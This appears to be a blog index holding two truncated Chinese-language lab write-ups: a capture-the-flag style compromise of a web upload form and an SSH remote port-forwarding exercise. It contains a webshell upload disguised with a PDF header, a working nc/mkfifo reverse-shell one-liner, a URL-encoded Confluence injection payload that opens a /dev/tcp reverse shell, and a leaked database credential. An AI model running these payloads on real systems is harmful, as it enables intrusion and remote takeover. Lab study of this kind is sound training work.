ARIES

 Challenge 3 - SkyLark(2) 下一台目標選定 .225 Rustscan，└─$ rustscan -a 192.168.211.225 --scripts none --ulimit 5000 | tee rustscan 只有 3 個 Port，21、80、8090 snmp check nmap whatweb 80 / 80 /robots.txt gobuster 沒有東西 8090 / 8090 /robots.txt gobuster 8090 gobuster 8090/backend gobuster 8090/backend/default http://192.168.211.225:8090/backend/default/index.php 有個登入頁面 admin:admin 既然可以登入.......看來可以上傳檔案 上傳 test.txt 告知只能上傳 pdf 檔案 改副檔名 test.pdf 上傳一樣失敗，看來會檢查檔案的格式 真實上傳一個 PDF 的檔案格式，看來就能正常上傳了 也可以在 http://192.168.196.225:8090/backend/default/uploads/test.pdf 正常讀取到檔案 修改 webshell 註記是 PDF 檔案格式，於檔案表頭加入 %PDF-1.7 上傳 webshell.php 測試發現成功，也可以正常開啟 http://192.168.196.225:8090/backend/default/uploads/webshell.php 執行 whoami 可以正常執行 使用最好用的 rm 指令，rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.167 4444 >/tmp/f 直接拿到 Reverse Shell 了 先拿取第一階段的 flag 在路徑 /var/www/backend/default 下有一個 config.php 檔案裡面有資料路連接的憑證 postgres:EAZT5EMULA75F8MC cat /etc/passwd 有兩個使用者帳號 uploader、ftpuploader cat /etc/cron...

SSH Tunneling - Remote Port Forwarding 攻擊機 192.168.45.199 靶機 192.168.215.63、10.4.215.215 此環境限制是靶機端因防火牆的配置使得在 CONFLUENCE01 的 WAN 介面上綁定的端口無法順利連接，可以從 Kali 攻擊端機器連接到靶機的唯一端口是 TCP 8090 本次要利用的場景環境示意圖如下 將透過 SSH 從 CONFLUENCE01 連接到我們的 Kali 攻擊機器 Listen TCP 2345 Port 並綁定到 Kali 攻擊機器上的 loopback interface 傳送至此連接埠的封包由 Kali SSH 伺服器軟體透過 SSH 隧道推送回 CONFLUENCE01 上的 SSH 用戶端。然後它們被轉送到 PGDATABASE01 上的 PostgreSQL 資料庫連接埠。 第一步先確認 Kali 攻擊機上的 OPENSSH 服務啟動 指令 sudo systemctl start ssh 為了使用使用者名稱和密碼連接回 Kali SSH 伺服器，必須透過在 /etc/ssh/sshd_config 中將PasswordAuthentication 設定為 yes 來明確允許基於密碼的身份驗證 一樣先漏洞利用連回攻擊機 4444 Port 拿到 Remote Shell curl -v http://192.168.215.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/192.168.45.199/4444%200%3E%261%27%29.start%28%29%22%29%7D/ 然後確保 TTY python3 -c 'import pty; pty.spawn("/bin/bash")' 然後透過 連回 Kali SSH 並起 loopback 23...